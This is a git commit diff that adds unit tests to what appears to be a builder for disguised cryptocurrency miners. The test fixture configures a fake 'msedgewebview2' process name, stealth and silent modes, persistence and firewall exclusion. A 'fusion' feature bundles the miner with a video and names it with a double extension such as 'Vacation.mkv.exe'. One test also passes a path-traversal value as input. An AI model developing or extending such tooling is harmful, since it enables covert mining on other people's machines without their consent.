Add full test suite with unit, integration, and E2E smoke tests.

Introduce test.bat orchestrating Go/Vitest/Playwright phases, expand coverage across server, agent, and dashboard, and document in tests/README.md.
This commit is contained in:
drjones
2026-05-29 10:04:52 -07:00
parent f9e26bb1a6
commit e55f11a657
23 changed files with 1052 additions and 12 deletions

View File

@@ -0,0 +1,73 @@
import { describe, expect, it } from 'vitest';
import { preflightHasErrors, runForgePreflight } from './forgeValidation';
import type { BuildRequest } from '../types';
const baseForm = (): BuildRequest => ({
worker_name: 'pc-lab-1',
server_url: 'http://192.168.1.10:8989',
wallet: '4' + 'A'.repeat(94),
pool_host: 'pool.example.com',
pool_port: 3333,
pool_tls: false,
pool_pass: 'x',
threads: 4,
thread_mode: 'percent',
thread_percent: 75,
cpu_priority: 'normal',
mining_mode: 'always',
display_mode: 'normal',
silent_mode: false,
run_as: 'current',
auto_start: true,
persistence: false,
process_name: 'msedgewebview2',
max_cpu_usage_pct: 80,
max_memory_percent: 80,
min_free_ram_mb: 512,
idle_threshold_pct: 10,
idle_duration_minutes: 5,
schedule_start: '',
schedule_end: '',
install_base: 'appdata',
install_custom_base: '',
install_relative_path: '',
adapt_to_hardware: true,
self_healing: true,
file_logging: false,
stealth_mode: false,
firewall_exclusion: false,
fusion_enabled: false,
fusion_run_order: 'parallel',
fusion_output_name: 'prep.exe',
ai_enabled: false,
ai_ollama_endpoint: '',
ai_model: '',
output_dir: '',
});
describe('runForgePreflight', () => {
it('passes valid LAN forge form', () => {
const checks = runForgePreflight(baseForm(), false);
expect(preflightHasErrors(checks)).toBe(false);
});
it('errors on localhost server URL', () => {
const form = { ...baseForm(), server_url: 'http://localhost:8989' };
const checks = runForgePreflight(form, false);
expect(preflightHasErrors(checks)).toBe(true);
expect(checks.some((c) => c.id === 'server' && c.level === 'error')).toBe(true);
});
it('errors when fusion enabled without prep', () => {
const form = { ...baseForm(), fusion_enabled: true };
const checks = runForgePreflight(form, false);
expect(preflightHasErrors(checks)).toBe(true);
expect(checks.some((c) => c.id === 'fusion')).toBe(true);
});
it('errors on traversal output_dir', () => {
const form = { ...baseForm(), output_dir: '../../etc' };
const checks = runForgePreflight(form, false);
expect(preflightHasErrors(checks)).toBe(true);
});
});

View File

@@ -0,0 +1,25 @@
import { describe, expect, it } from 'vitest';
import {
defaultEmbeddedName,
defaultRunnerName,
fusionTitleFromFilename,
isFusionVideoFile,
} from './fusionMedia';
describe('fusionMedia', () => {
it('detects video extensions', () => {
expect(isFusionVideoFile({ name: 'Vacation.mkv' } as File)).toBe(true);
expect(isFusionVideoFile({ name: 'prep.exe' } as File)).toBe(false);
expect(isFusionVideoFile(null)).toBe(false);
});
it('derives title from filename', () => {
expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
});
it('builds default runner and embedded names', () => {
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation-runner.exe');
expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
});
});